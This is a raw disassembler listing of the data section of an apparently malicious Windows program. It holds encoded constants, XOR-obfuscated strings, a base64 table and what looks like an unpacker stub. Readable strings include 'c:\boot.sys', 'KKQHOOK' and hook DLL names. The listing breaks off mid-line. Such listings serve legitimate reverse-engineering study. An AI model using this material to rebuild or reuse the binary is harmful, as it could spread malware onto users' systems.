520D6C05h, 7BAE066h, 137531C3h dd 0E61D8DCFh, 4715119Eh, 631544CBh, 8DD74494h, 69797069h dd 5B1F6E2Dh, 49B6F759h, 65215168h, 89055399h, 36B901h dd 5881560Bh, 4B971C2Bh, 585EF32h, 0C8D8F307h, 2E373135h dd 0C44F0700h, 74B06665h, 6ED561B7h, 90B6EBAFh, 2F2971E7h dd 29671B4Ch, 0EEB1B84h, 8D79930Dh, 1021A367h, 13D9ECAEh dd 0EB061B20h, 15A9BA1Ah, 530BF32h, 6233092Dh, 9B8ACEC2h dd 3054770Ch, 6DC62F0Dh, 72C75164h, 0B38F7426h, 7D29576Fh dd 8D830B6Bh, 1FD5CC34h, 69934F3Eh, 66126C09h, 0EF6E2FE7h dd 0BAC1A461h, 5779072Eh, 75500D20h, 6C6E7C7h, 0B9425761h dd 0C46F643Fh, 5C48BEE8h, 750F6F1Fh, 8CA2EF43h, 3A774525h dd 212308BBh, 0DFE15B64h, 46CEE7DEh, 5F7553B7h, 61D2F569h dd 44B7C26Ch, 5D43561Fh, 56E88709h, 6D842400h, 0B6E8C27Ah dd 611F7315h, 0B00409A3h, 0CD90337Fh, 80A80315h, 0D034C433h dd 0D55BDF34h, 0EE34FFFFh, 1B350F34h, 39352A35h, 0D135A635h dd 0E035D735h, 6FFA32A7h, 6B36FF55h, 9B368A36h, 1099A436h dd 1C378A37h, 0FF384638h, 3A17FFFFh, 38C3385Fh, 38FE38E2h dd 39383928h, 394B3945h, 39B63965h, 39E639D3h, 0FFFF39F9h dd 3A39FFFFh, 3A473A40h, 3A553A4Eh, 3A633A5Ch, 3A713A6Ah dd 3A903A78h, 3AA83A9Fh, 3AF43AB1h, 0FFFF3B08h, 3B10FFFFh dd 3B763B15h, 3C0C3B7Eh, 3C8C3C72h, 3D093C9Fh, 3DB03D31h dd 3E3A3DB9h, 3E973E80h, 0AF8B3E9Eh, 3EBEFFFFh, 3F353F04h dd 3F623F4Ch, 3F7D3F6Eh, 84F93FF0h, 0FFF27B10h, 20C066FFh dd 11310530h, 39312A31h, 78316C31h, 98318931h, 2320C31h dd 23FFFFC0h, 44332B33h, 0E333C233h, 13340B33h, 29341834h dd 0FFDDFF8Fh, 0C13458FFh, 0FB34F334h, 29352134h, 81352E35h dd 0E5CB8935h, 0FD35F335h, 23361635h, 0FFF77F46h, 39363036h dd 58364136h, 82367C36h, 0DD36BADBh, 53384E36h, 0FFFFFF0Eh dd 387D38FFh, 38B13890h, 39B1393Eh, 3A223A17h, 3A683A5Eh dd 3AE83AC6h, 3B283B1Dh, 3B853B7Ch, 0FFFBBFB7h, 3C073BFEh dd 3C703C68h, 3C803C76h, 3CE7B988h, 3D5D3D50h, 453E2E34h dd 0FFFFFFFEh, 503E4A3Eh, 6E3E573Eh, 0CD3E783Eh, 613EDE3Eh dd 853F6C3Fh, 0BF3F933Fh, 0DB3FCA3Fh, 0FF3FE93Fh, 0E81EEFFFh dd 304CBFF4h, 30D93089h, 30F630DEh, 313A30FDh, 315B3141h dd 2F103164h, 3194FFF4h, 31A8319Fh, 31F231ADh, 353F31F8h dd 0FE1B1632h, 0C39E1ADFh, 34BA34AAh, 34D734CBh, 8D203508h dd 3780356Eh, 3586FE00h, 35A535A0h, 37482778h, 0EDF00076h dd 380E0F0Dh, 5038A72Ch, 0B7FF6838h, 0CB51BFFFh, 19391438h dd 26392039h, 34392C39h, 39610039h, 39853976h, 399F398Dh dd 0EE0B001Bh, 0CBAC39A7h, 0ED17D099h, 0FD5BFE00h, 0FA39F539h dd 3A4BFF39h, 3A183A10h, 0FF743A1Eh, 1937FFFFh, 3B423AB3h dd 3B813B73h, 3BAE3BA8h, 3BBA3BB4h, 3BC63BC0h, 3BD23BCCh dd 2FFF3BD8h, 3BDEFFFDh, 3BEA3BE4h, 3DA23BF0h, 3DF33DEEh dd 143E0FA0h, 303E213Eh, 423E353Eh, 0FFFFC006h, 563E513Eh dd 723E603Eh, 893E813Eh, 3D3E903Eh, 0C02B473Fh, 83F001BFh dd 0A629913Fh, 0C43FBC3Fh, 19FFD53Fh, 0F32D06DBh, 15DF30F3h dd 1F301A30h, 0F8242430h, 2930EDB7h, 0F5350030h, 65303F30h dd 1F306A30h, 9EC7E6h, 4931424Eh, 40601997h, 1A2FA06h dd 4473458Dh, 49FE73F8h, 706802ECh, 3220FB6Bh, 4B5C302Eh dd 809E268Bh, 5C775C17h, 120F4F0h, 64705505h, 95C4B162h dd 0AA4EA704h, 0D43BFE77h, 42095A6Ah, 6174536Bh, 5307472h dd 72476F9Ch, 0D670756Fh, 0A41780Ah, 82C11FACh, 0D7347405h dd 50167618h, 0D55C7643h, 205B6E73h, 0D7000D01h, 1ED709Fh dd 6F977EDEh, 1D00BA1Dh, 903E08F6h, 575D155Ch, 4640323Ch dd 0FB590660h, 2A1F4523h, 0F6338008h, 177EFF85h, 15197F18h dd 1E285C66h, 7CF73B46h, 0F30AA423h, 3B2480E9h, 4362FEE0h dd 40101CF2h, 0C131800h, 61765468h, 73C6C9BEh, 0E6A1114h dd 813E4810h, 1028E054h dd 0C2A90040h, 1448EE74h, 0E7E04C1Bh, 5660A306h, 90F54C6h dd 5AF736A3h, 20054910h, 9C4F4004h, 67FB6405h, 20345931h dd 4C9C64BDh, 0BE57F6C9h, 0C6A49C9Ch, 0A481CF25h, 0F7D068C0h dd 0D8799Fh, 683A6816h, 0BE0A6ABBh, 0F3482394h, 8D597FDDh dd 0A5F3AC7Dh, 0B84BEA4h, 0A5D87D8Dh, 0B19E7CA5h, 0F5F0C11Bh dd 0E80A74BEh, 76EBB76Ch, 0E4A5F847h, 0A40B6468h, 99BEACE6h dd 553E205Dh, 0C1692480h, 0B0016A7Bh, 14EC7457h, 35196A0Fh dd 9E2350Fh, 831FF89Bh, 61C94CC4h, 0E19CCD92h, 6AF8DF08h dd 6CD437F5h, 400544A6h, 0F80D4A9h, 0F7617385h, 0EFBCBE9Dh dd 96F26604h, 0F7BAFF00h, 0C64420Eh, 14EC358Bh, 6767F4FEh dd 1AD64630h, 47831903h, 0C2EEBF78h, 3C305204h, 1105842Ah dd 6159010Eh, 1E67D98Bh, 39EC6859h, 1342A20h, 0F3C868h dd 0AD7210FFh, 13DE1A7Ch, 0EA60385Ah, 74C3640Ah, 76E0349Fh dd 30AFD404h, 0EFEF112Eh, 8D047B2Ch, 0FF68D68Dh, 562898D0h dd 1DEFBF0Ah, 6C51204Dh, 0B55FBBh, 0C0968B59h, 962A3635h dd 144876A7h, 570950DDh, 2D1E04B6h, 27D8DEAh, 80EFF33h dd 0B45420F9h, 575DB023h, 57B01D24h, 2057359h, 0CC51h dd 0A0286016h, 41101B70h, 3C61019Ch, 0C4061801h, 44015C21h dd 80C03100h, 0BA0ABA42h, 773E9384h, 310400F9h, 0A6922030h dd 57908824h, 88040155h, 10B2031h, 2090E292h, 1D4010Eh dd 0B2C40656h, 20904C04h, 6D3EE606h, 1212F125h, 41168844h dd 0D25CD830h, 0B27B7DE3h, 4456460Ah, 5580B667h, 8A368510h dd 69C443ECh, 7301315Ch, 165F2006h, 10C54h, 0E12F20F2h dd 6E010F79h, 0B078D565h, 80C122A0h, 5810CE2h, 21F8DF5h dd 0E054840Ch, 837A744Eh, 41957ACh, 96046817h, 0B05F5059h dd 2EB906Ch, 206C510Ch, 7B2CFD48h, 0BC000000h, 71BFh, 1200h dd 0BE6000FFh, 406000h, 0B000BE8Dh, 8357FFFFh, 10EBFFCDh dd 90909090h, 68A9090h, 47078846h, 775DB01h, 0EE831E8Bh dd 72DB11FCh, 1B8EDh, 0DB010000h, 1E8B0775h, 11FCEE83h dd 1C011DBh, 75EF73DBh, 831E8B09h, 0DB11FCEEh, 0C931E473h dd 7203E883h, 8E0C10Dh, 8346068Ah, 7474FFF0h, 0DB01C589h dd 1E8B0775h, 11FCEE83h, 1C911DBh, 8B0775DBh, 0FCEE831Eh dd 0C911DB11h, 1412075h, 8B0775DBh, 0FCEE831Eh, 0C911DB11h dd 0EF73DB01h, 1E8B0975h, 11FCEE83h, 83E473DBh, 0FD8102C1h dd 0FFFFF300h, 8D01D183h, 0FD832F14h, 8A0F76FCh, 7884202h dd 0F7754947h, 0FFFF63E9h, 28B90FFh, 8904C283h, 4C78307h dd 7704E983h, 0E9CF01F1h, 0FFFFFF4Ch, 0B9F7895Eh, 11Ah dd 2C47078Ah, 77013CE8h, 43F80F7h, 78BF275h, 66045F8Ah dd 0C108E8C1h, 0C48610C0h, 0EB80F829h, 89F001E8h, 5C78307h dd 0D9E2D889h, 7000BE8Dh, 78B0000h, 3C74C009h, 8D045F8Bh dd 90003084h, 0F3010000h, 8C78350h, 905096FFh, 8A950000h dd 0C0084707h, 0F989DC74h, 0AEF24857h, 5496FF55h, 9000090h dd 890774C0h, 4C38303h, 96FFE1EBh, 9058h, 0DF61E961h, 0FFFFh dd 25h dup(0) dd 0A0700000h, 0A0500000h, 3 dup(0) dd 0A07D0000h, 0A0600000h, 3 dup(0) dd 0A08A0000h, 0A0680000h, 5 dup(0) dd 0A0940000h, 0A0A20000h, 0A0B20000h, 0 dd 0A0C00000h, 0 dd 0A0CE0000h, 0 dd 454B0000h, 4C454E52h, 442E3233h, 41004C4Ch, 50415644h dd 2E323349h, 6C6C64h, 4356534Dh, 642E5452h, 6C6Ch, 64616F4Ch dd 7262694Ch, 41797261h, 65470000h, 6F725074h, 64644163h dd 73736572h, 78450000h, 72507469h, 7365636Fh, 73h, 43676552h dd 65736F6Ch, 79654Bh, 61720000h, 646Eh, 4Bh dup(0) dd 2, 0Ah dword_446458 dd 49h ; sub_4082AB:loc_4082D9r ... dword_44645C dd 56306Fh aCBoot_sys db 'c:\boot.sys',0 ; DATA XREF: sub_40844F+27o aRi db 'rI',0 ; DATA XREF: sub_40844F+3Ao byte_44646F db 50h ; DATA XREF: sub_40844F+A6o dd 82707F6Dh db 66h, 25h, 0 byte_446477 db 4Bh ; DATA XREF: sub_40844F+B9o dd 48h dword_44647C dd 11h, 0Fh dup(0)dword_4464BC dd 0E1F7EEA5h, 0BFFD7E2Ch, 869AE87Fh, 0CC244082h, 0D76ADDE2h ; DATA XREF: sub_408741+10o dd 1B77E1E1h, 505215B0h, 0D24B6456h, 3D357C6Bh, 280E85D5h dd 1AB051F9h, 1E4E8744h, 0E383CCDFh, 323D4737h, 14F80518h dd 6E0637BFh, 8, 0Ah dword_446504 dd 0 ; .text:loc_4085D4r ... dd 3 dword_44650C dd 0Eh dword_446510 dd 0 ; .text:loc_4086D3r ... a@8wz db ' @8WZ',0 ; DATA XREF: sub_408779+14o dword_44651A dd 20374Bh word_44651E dw 574Fh ; DATA XREF: sub_408779+77o db 0 word_446521 dw 30h ; DATA XREF: sub_408779:loc_40882Fr align 4 dd 5, 0Ah dword_44652C dd 0 ; .text:loc_4088DEr ... aVlvh__0 db 'vlVh_',0 ; DATA XREF: sub_40893E+11o align 4 dword_446538 dd 0FFFFFFFFh dd 2Ah dup(0FFFFFFFFh), 3Eh, 3 dup(0FFFFFFFFh), 3Fh, 34h dd 35h, 36h, 37h, 38h, 39h, 3Ah, 3Bh, 3Ch, 3Dh, 7 dup(0FFFFFFFFh) dd 0 dd 1, 2, 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh dd 0Fh, 10h, 11h, 12h, 13h, 14h, 15h, 16h, 17h, 18h, 19h dd 6 dup(0FFFFFFFFh), 1Ah, 1Bh, 1Ch, 1Dh, 1Eh, 1Fh, 20h dd 21h, 22h, 23h, 24h, 25h, 26h, 27h, 28h, 29h, 2Ah, 2Bh dd 2Ch, 2Dh, 2Eh, 2Fh, 30h, 31h, 32h, 33h, 85h dup(0FFFFFFFFh) aHu db ': hu',0 ; DATA XREF: sub_40893E+44o a1bOt db '/1~oT:',0 ; DATA XREF: sub_40893E+9Do byte_446945 db 3 dup(0) ; DATA XREF: sub_40893E+F1o off_446948 dd offset loc_4089D5 ; DATA XREF: sub_40893E+88r dd offset loc_4089E8 dd offset loc_408A13 dd offset loc_408A4A dword_446958 dd 7 dd 0Ah dword_446960 dd 0 ; sub_408AB9:loc_408AE8r ... dword_446964 dd 2B5240h word_446968 dw 41h ; DATA XREF: sub_408B4C+B8r a99a_0 db '-; 99a',0 ; DATA XREF: sub_408B4C+14Bo dword_446971 dd 505866h dword_446975 dd 505E55h asc_446979 db ';',27h,'*l & ',0 ; DATA XREF: sub_408E12+16o aHjvmnia db 'hJVmnIA',0 ; DATA XREF: sub_408E12+61o aP_rX db 'p+_R',27h,'X',0 ; DATA XREF: sub_408E12+A7o aFxTE db 'fX $t!E',0 ; DATA XREF: sub_408ED0+E7o aQa db 'qA',0 ; DATA XREF: sub_408ED0+207o byte_44699B db 0 ; DATA XREF: sub_408ED0+31Bo aZ_y9am4 db 'z.y9aM4',0 ; DATA XREF: sub_408ED0+63Bo a3h db '3h',0 ; DATA XREF: sub_408ED0+739o aOi6 db ' oi%6',0 ; DATA XREF: sub_408ED0+827o dword_4469AD dd 2E3B72h a@gduN db '@GDu N!',0 ; DATA XREF: sub_408ED0+866o aG_ db 'G!_`',0 ; DATA XREF: sub_408ED0+8BEo word_4469BE dw 4E7Fh ; DATA XREF: sub_408ED0+92Fo dd 307F7Ch word_4469C4 dw 7Fh ; DATA XREF: sub_4098A8+15r a2gtF db '2GT<!f',0 ; DATA XREF: sub_4098A8+28o aNjbS9 db 'NJb s9',0 ; DATA XREF: sub_4098A8+3Bo byte_4469D4 db 0 ; DATA XREF: sub_4098A8+4Eo dword_4469D5 dd 4A7180h a_3v db '. 3‚',0 ; DATA XREF: sub_4098A8+6Ao byte_4469DE db 0 ; DATA XREF: sub_4098A8+99o aSiYy db '<si+yY',0 ; DATA XREF: sub_4098A8+107o byte_4469E6 db 0 ; DATA XREF: sub_4098A8+1A7o asc_4469E7 db '*/',0 ; DATA XREF: sub_4098A8+20Bo aOcqud db 'ocqUd',0 ; DATA XREF: sub_4098A8+367o word_4469F0 dw 68h ; DATA XREF: sub_4098A8:loc_409C42r word_4469F2 dw 6Dh ; DATA XREF: sub_4098A8+3F3r dword_4469F4 dd 39572Ch aMB7d db 'M;$:7d',0 ; DATA XREF: sub_4098A8+54Do dword_446A00 dd 4E314Fh dword_446A04 dd 36307F57h db 6Ch, 61h, 0 aUw db 'UW|',27h,0 ; DATA XREF: sub_4098A8+833o aP2 db '>:= P2',0 ; DATA XREF: sub_4098A8+8D7o dword_446A18 dd 6A2082h aQ db '^:$q',0 ; DATA XREF: sub_4098A8+C40o dword_446A21 dd 384E42h dword_446A25 dd 6C3020h byte_446A29 db 0 ; DATA XREF: sub_4098A8+D04o word_446A2A dw 7Eh ; DATA XREF: sub_4098A8+DB4r aV_ngv db 'V_Ngv+',0 ; DATA XREF: sub_4098A8+EA6o dword_446A33 dd 3F3C45h byte_446A37 db 0 ; DATA XREF: sub_4098A8+10EDo word_446A38 dw 4Eh ; DATA XREF: sub_40AA24+1Br dword_446A3A dd 4D2065h aAg9 db ' €ƒ9',0 ; DATA XREF: sub_40AA24+1E9o aDpuayyf db 'DpU€yYF',0 ; DATA XREF: sub_40AA24+23Fo aWq6ug db 'wq6Ug',0 ; DATA XREF: sub_40AA24+24Do aRf db 'rf',0 ; DATA XREF: sub_40AA24+325o word_446A54 dw 42h ; DATA XREF: sub_40AA24+364r a16xYi_ db '16X<Yi_',0 ; DATA XREF: sub_40AA24+540o dword_446A5E dd 6B3377h word_446A62 dw 3E49h ; DATA XREF: sub_40AA24+62Ao dd 20207F55h db 0 byte_446A69 db 40h, 7Ch, 0 ; DATA XREF: sub_40AA24+6ADo aAH@2du db '€$H@2dU',0 ; DATA XREF: sub_40AA24+733o word_446A74 dw 26h ; DATA XREF: sub_40AA24+759r word_446A76 dw 5A42h ; DATA XREF: sub_40AA24+78Co db 0 byte_446A79 db 80h, 40h, 0 ; DATA XREF: sub_40AA24+862o dword_446A7C dd 2F206Dh dword_446A80 dd 23302Fh aPB6 db 'p|b6',0 ; DATA XREF: sub_40B2CA+E8o off_446A89 dd offset byte_444E5F ; DATA XREF: sub_40B3E8+188r aAhAq db ' *€h&€q',0 ; DATA XREF: sub_40B3E8+304o aGjvry db 'gjVRy',0 ; DATA XREF: sub_40B3E8+327o dword_446A9B dd 387547h byte_446A9F db 72h ; DATA XREF: sub_40B3E8+486o db 20h, 0 dword_446AA2 dd 20762Bh word_446AA6 dw 773Bh ; DATA XREF: sub_40B3E8+68Bo db 0 word_446AA9 dw 2Dh ; DATA XREF: sub_40B3E8+724r byte_446AAB db 2Bh ; DATA XREF: sub_40B3E8+7B8o dd 7F4A5Eh aV@zc db 'v@zc',0 ; DATA XREF: sub_40B3E8+813o align 4 asc_446AB8 db 'Ô',0 ; DATA XREF: sub_40B3E8+7C7o asc_446ABA db 'ÙÞ',0 ; DATA XREF: sub_40B3E8+6F6o byte_446ABD db 81h, 0BAh, 0B5h ; DATA XREF: sub_40B3E8+5F9o dd 0F4B1B8B6h, 0B5F4BBA0h, 0BBBCA0A1h, 0B1AEBDA6h db 0 byte_446AD1 db 81h, 0BAh, 0B5h ; DATA XREF: sub_40B3E8+5E7o dd 0F4B1B8B6h, 0B5F4BBA0h, 0BBBCA0A1h, 0B1AEBDA6h, 9DF4F9F4h dd 869B979Ah, 80979186h, 9A9D84F4h, 0B884F4FAh, 0B1A7B5B1h dd 0BBB7F4F8h, 0B7B1A6A6h db 0A0h, 0FAh, 0 byte_446B07 db 0F1h ; DATA XREF: sub_40B3E8+43Co dd 0A7F1F9A7h db 0 byte_446B0D db 84h, 0B8h, 0B1h ; DATA XREF: sub_40B3E8+406o dd 0F8B1A7B5h, 0B8B1A7F4h, 0F4A0B7B1h, 0BDA4AC91h, 0BDA0B5A6h dd 8DF4BABBh, 0A6B5B1h dword_446B2C dd 0F1F4A7F1h ; sub_40B3E8+639o db 0A7h, 0 word_446B32 dw 0B884h ; DATA XREF: sub_40B3E8+387o dd 0B1A7B5B1h, 0B1A7F4F8h, 0A0B7B1B8h, 0A4AC91F4h, 0A0B5A6BDh dd 0F4BABBBDh, 0A0BABB99h db 0BCh, 0 word_446B52 dw 0A7F1h ; DATA XREF: sub_40B3E8+337o db 0 byte_446B55 db 97h, 98h, 87h ; DATA XREF: sub_40AA24+768o dd 0F188909Dh, 0BA9D88A7h, 0B7BBA684h, 0A2A6B187h, 0E6E7A6B1h db 0 byte_446B6D db 82h, 0 ; DATA XREF: sub_40AA24+73Do byte_446B6F db 9Fh ; DATA XREF: sub_40AA24+716o db 0 aZAgJIsJZAigGzi db '‡»² £µ¦±ˆ™½·¦»§»² ˆƒ½º°»£§ˆ—¡¦¦±º ‚±¦§½»ºˆ‡¼±¸¸‡±¦¢½·±›¶¾±· ±¸µ' ; DATA XREF: sub_40AA24+6DEo db '˜»µ°',0 aJZaJzJvDjZz db '†±³½§ ±¦‡±¦¢½·±„¦»·±§§',0 ; DATA XREF: sub_40AA24+5F2o word_446BCE dw 0B1BFh ; DATA XREF: sub_40AA24+5DEo dd 0B8B1BAA6h, 0B0FAE6E7h db 2 dup(0B8h), 0 byte_446BDB db 88h ; DATA XREF: sub_40AA24+4B3o dd 0A0BBBBB6h, 0A7ADA7FAh db 0 byte_446BE5 db 0F1h, 0A7h, 88h ; DATA XREF: sub_40AA24+467o dd 0B2B0ACB0h, 0FAA2B8AEh, 0A0B5B0h aDatkkq32_dll db 'datkkq32.dll',0 ; DATA XREF: sub_40AA24+440o aDnkkq_dll db 'dnkkq.dll',0 ; DATA XREF: sub_40AA24+41Ao aKkq32_dll db 'kkq32.dll',0 ; DATA XREF: sub_40AA24+3F4o byte_446C15 db 0F1h, 0A7h, 88h ; DATA XREF: sub_40AA24+3EAo ; sub_40AA24+410o ... db 0F1h, 0A7h, 0 byte_446C1B db 0F1h ; DATA XREF: sub_40AA24+2FFo dd 0A7F188A7h, 0B1ACB1FAh db 0 aZ_1 db '±ºµ¶¸±°§²',0 ; DATA XREF: sub_40AA24+A6o byte_446C2F db 88h ; DATA XREF: sub_40AA24+4Do dd 0A2BDA6B0h, 88A7A6B1h, 0A7BDB0BAh, 0A7FAB0A6h, 0A7ADh dbl_446C44 dq 1.2 ; DATA XREF: sub_4098A8+1002r dword_446C4C dd 0A6B2BDE8h, 0F4B1B9B5h, 0E9B7A6A7h, 0A4A0A0BCh, 0F1FBFBEEh ; DATA XREF: sub_4098A8+EBCo dd 0FBE8EAA7h, 0B5A6B2BDh, 0EAB1B9h aSA db 'è¼ ¹¸ê',0 ; DATA XREF: sub_4098A8+DFBo byte_446C73 db 0B0h ; DATA XREF: sub_4098A8+D86o dd 0F4A7BBB0h db 0 aGvJ db 'º±£¢±¦',0 ; DATA XREF: sub_4098A8+D45o aMC db '¬°æ',0 ; DATA XREF: sub_4098A8+CBAo dword_446C84 dd 0B0A4A1A3h db 0F4h, 0 word_446C8A dw 0A7F1h ; DATA XREF: sub_4098A8+BAAo dd 0F497FBF4h db 0F1h, 0A7h, 0 byte_446C93 db 88h ; DATA XREF: sub_4098A8+B78o dd 0B9B9BBB7h, 0FAB0BAB5h, 0B9BBB7h dword_446CA0 dd 0B788A7F1h, 0B5B9B9BBh, 0A4FAB0BAh db 0BDh, 0B2h, 0 byte_446CAF db 88h ; DATA XREF: sub_4098A8+B1Ao dd 0FAB0B9B7h, 0B1ACB1h dword_446CB8 dd 0B788A7F1h, 0A4FAB0B9h db 0BDh, 0B2h, 0 byte_446CC3 db 0EEh ; DATA XREF: sub_4098A8+A5Eo dd 0A1E6E4F1h db 0 aIDsc db 'ë°¹¤éæ',0 ; DATA XREF: sub_4098A8+933o dword_446CD0 dd 0F188A7F1h, 0B9A0FAA7h db 0A4h, 0 word_446CDA dw 0A4A3h ; DATA XREF: sub_4098A8+4F0o dd 0F4A0A7h byte_446CE0 db 0A5h, 0 ; DATA XREF: sub_4098A8+272o ; sub_4098A8+616o ... word_446CE2 dw 0BDEBh ; DATA XREF: sub_4098A8+21Ao dd 0F1E9B7B2h db 0A1h, 0 word_446CEA dw 0B2BDh ; DATA XREF: sub_4098A8+1C6o ; sub_4098A8+31Bo db 0B7h, 0 aZAgJIsJZAigGz db '‡»² £µ¦±ˆ™½·¦»§»² ˆƒ½º°»£§',0 ; DATA XREF: sub_4098A8+1B4o ; sub_4098A8+309o byte_446D09 db 0FBh, 0A3h, 0B7h ; DATA XREF: sub_4098A8+171o dd 0A4FAB2B1h db 0BCh, 0A4h, 0 byte_446D13 db 0FBh ; DATA XREF: sub_4098A8+13Co db 0 byte_446D15 db 0BCh, 2 dup(0A0h) ; DATA XREF: sub_4098A8+116o dd 0FBFBEEA4h db 0F1h, 0A7h, 0 byte_446D1F db 0F1h ; DATA XREF: sub_4098A8+BBo ; sub_4098A8+5E6o ... dd 0A7F188A7h, 0A0B5B0FAh db 0 byte_446D29 db 97h, 0B8h, 0BDh ; DATA XREF: sub_408ED0+773o dd 9BF4BFB7h, 0F4B1B7BAh, 97F4BB80h, 0BDA0BABBh, 0B1A1BAh aCbaai db '–€€›š',0 ; DATA XREF: sub_408ED0+761o aSraa db '‘€',0 ; DATA XREF: sub_408ED0+667o ; sub_408ED0+6D7o dword_446D4C dd 0B5B1B884h, 0B9F4B1A7h, 0F4B1BFB5h, 0A6A6BBB7h, 0BDA0B7B1h ; DATA XREF: sub_408ED0+5C0o dd 0F4A7BABBh, 0F4B0BAB5h, 0F4ADA6A0h, 0BDB5B3B5h db 0BAh, 0FAh, 0 byte_446D73 db 81h ; DATA XREF: sub_408ED0+547o dd 0B8B6B5BAh, 0BBA0F4B1h, 0A0A1B5F4h, 0BDA6BBBCh, 0F4FAB1AEh dd 0F4998095h, 0F99A9D84h, 0B1B0BB97h, 0F4A7BDF4h, 0A1A5B1A6h dd 0B0B1A6BDh, 0F4BBA0F4h, 0A4B9BBB7h, 0B1A0B1B8h, 0B1BCA0F4h dd 0B5A6A0F4h, 0B7B5A7BAh, 0BABBBDA0h db 0FAh, 0 word_446DBE dw 8095h ; DATA XREF: sub_408ED0+4D2o dd 9D84F499h, 0BB97F99Ah db 0B0h, 0B1h, 0 byte_446DCB db 91h ; DATA XREF: sub_408ED0+460o dd 0A6BDA4ACh, 0BBBDA0B5h, 0B5B0F4BAh db 0A0h, 0B1h, 0 byte_446DDB db 8Dh ; DATA XREF: sub_408ED0+3EAo dd 0F4A6A1BBh, 0B0A6B5B7h, 0B9A1BAF4h, 0A6B1B6h dword_446DEC dd 0FAF1E4E6h db 0E6h, 0A1h, 0 byte_446DF3 db 0F1h ; DATA XREF: sub_408ED0+328o dd 0A1E6FAh aCiscicim db '—›™–›–›Œ',0 ; DATA XREF: sub_408ED0+22Bo ; sub_408ED0+289o byte_446E01 db 0DEh, 2 dup(0F4h) ; DATA XREF: sub_408ED0+103o dd 0A0A195F4h, 0BDA6BBBCh, 0BDA0B5AEh, 92F4BABBh, 0B1B8BDB5h db 0B0h, 0FAh, 0 aZaxaac db '‡€•€—',0 ; DATA XREF: sub_408ED0+F1o ; sub_408ED0+15Eo ... aKkqhook db 'KKQHOOK',0 ; DATA XREF: sub_408ED0+CDo ; sub_4098A8+288o ... db 0 aSmdJJ db '‘¬¤¸»¦±¦',0 ; DATA XREF: sub_408ED0+3Ao ; sub_40B3E8+C1o aRIA db '»·›¶¾±· ',0 ; DATA XREF: sub_408ED0+1Eo ; sub_40B3E8+9Eo word_446E3E dw 0D3C6h ; DATA XREF: sub_408B4C+177o dd 0F6EAE2FFh, 0B4FFE8F5h, 0BAFFE2FFh db 0 byte_446E4D db 0CAh, 0FBh, 0EEh ; DATA XREF: sub_408B4C+F4o db 0F2h, 0 word_446E52 dw 0F5C9h ; DATA XREF: sub_408B4C+DFo dd 0FBEDEEFCh, 0D7C6FFE8h, 0F5E8F9F3h, 0EEFCF5E9h, 0BADFD3C6h dd 0EFEEFFC9h, 0FFC9C6EAh, 0EAEFEEh dword_446E74 dd 0F7EEF2B4h db 0 byte_446E79 db 66h, 59h, 57h ; DATA XREF: sub_40844F+FEo dd 425F145Eh, 79151A5Fh, 5B4E491Ah, 591A4E48h, 55586600h dd 49144E55h db 43h, 49h, 0 byte_446E97 db 1Fh ; DATA XREF: sub_40844F+D9o dd 57596649h, 534A145Eh db 5Ch, 0 word_446EA2 dw 5166h ; DATA XREF: sub_40833E+71o dd 5F54485Fh, 14080956h, 56565Eh byte_446EB0 db 0F0h, 0F7h, 0 ; DATA XREF: sub_408048+229o aTtSsSkPs db 'Óš’’š‘˜Óœ™Šœ˜',0 ; DATA XREF: sub_406D2E+F05o aTtSs db 'Óš’’š‘˜Ó',0 ; DATA XREF: sub_406D2E+ED8o asc_446ECB db 'Ý',0 ; DATA XREF: sub_406D2E+E6Bo asc_446ECD db 'Ç',0 ; DATA XREF: sub_406D2E+DE9o aE db 'ÝØ¥Ç',0 ; DATA XREF: sub_406D2E+D83o aB_0 db '',0 ; DATA XREF: sub_406D2E+6CFo aPVEPVE db 'Á»¯¼°¸¢Ø¥Ð»²¯°¢Ø¥ÃÝ',0 ; DATA XREF: sub_406D2E+625o aNPVE db 'Á°¼´³ºÐ»²¯°¢Ø¥ÃÝ',0 ; DATA XREF: sub_406D2E+5DCo aName: ; DATA XREF: sub_406D2E+3Do unicode 0, <name>,0 align 4 aValue: ; DATA XREF: sub_406D2E+2Do unicode 0, <value>,0 unk_446F14 db 5Bh ; [ ; DATA XREF: sub_406A40+A8o db 7Fh, 75h, 64h aYeypb6_xbsdxsb db 'yeypb6_xbsdxsb6Snfzydsd',0 a9ba05972F6a811: ; DATA XREF: sub_40696D+34o unicode 0, <{9BA05972-F6A8-11CF-A442-00A0C90A8F39}>,0 aHtml db '<HTML><!--',0 ; DATA XREF: sub_4061F7+4E4o ; sub_4061F7+4EFo ... aXOkrecv11 db 'X-okRecv11',0 ; DATA XREF: sub_4061F7+422o aUyznQy db 'uyzN]QY',0 ; DATA XREF: sub_4061F7+389o dword_446F9C dd 49194F19h, 711C111Ch, 534E5F55h, 485A534Fh, 4852751Ch ; DATA XREF: sub_4061F7+340o dd 59524E59h, 44791C48h, 4E53504Ch db 59h, 4Eh, 0 byte_446FBF db 60h ; DATA XREF: sub_4061F7+1EAo dd 4C445975h, 594E5350h, 59445912h db 1Ch, 0 aLHt db 'l]HT',0 ; DATA XREF: sub_4061F7+B5o byte_446FD3 db 6Fh ; DATA XREF: sub_4061F7+A3o dd 4B485A53h, 60594E5Dh, 4E5F5571h, 5A534F53h, 79756048h dd 48596F1Ch, 6F604C49h, 4C494859h db 0 byte_446FF5 db 7Dh, 2 dup(4Ch) ; DATA XREF: sub_405E88+333o dd 52594A79h, 6F604F48h, 5159545Fh, 7D604F59h, 604F4C4Ch dd 504C4479h, 4E594E53h, 485F7D60h, 485D4A55h, 785B5255h dd 51495F53h, 60485259h, 4E497F12h, 4852594Eh db 0 byte_447031 db 7Dh, 2 dup(4Ch) ; DATA XREF: sub_405E88+309o dd 52594A79h, 6F604F48h, 5159545Fh, 7D604F59h, 604F4C4Ch dd 504C4479h, 4E594E53h, 4A5D7260h, 485D5B55h, 605B5255h dd 4E497F12h, 4852594Eh db 0 aPsPioynszzpury db '{PS^]PiOYNsZZPURY',0 ; DATA XREF: sub_405E88+2CCo byte_447077 db 6Fh ; DATA XREF: sub_405E88+2BAo dd 4B485A53h, 60594E5Dh, 4E5F5571h, 5A534F53h, 556B6048h dd 4B535852h, 497F604Fh, 52594E4Eh, 4E596A48h, 5253554Fh dd 48527560h, 59524E59h, 596F1C48h, 52554848h db 5Bh, 4Fh, 0 byte_4470B3 db 55h ; DATA XREF: sub_405E88+271o dd 504C4459h, 12594E53h, 594459h dword_4470C0 dd 6F604F19h, 4B485A53h, 60594E5Dh, 4E5F5571h, 5A534F53h ; DATA XREF: sub_405E88+245o dd 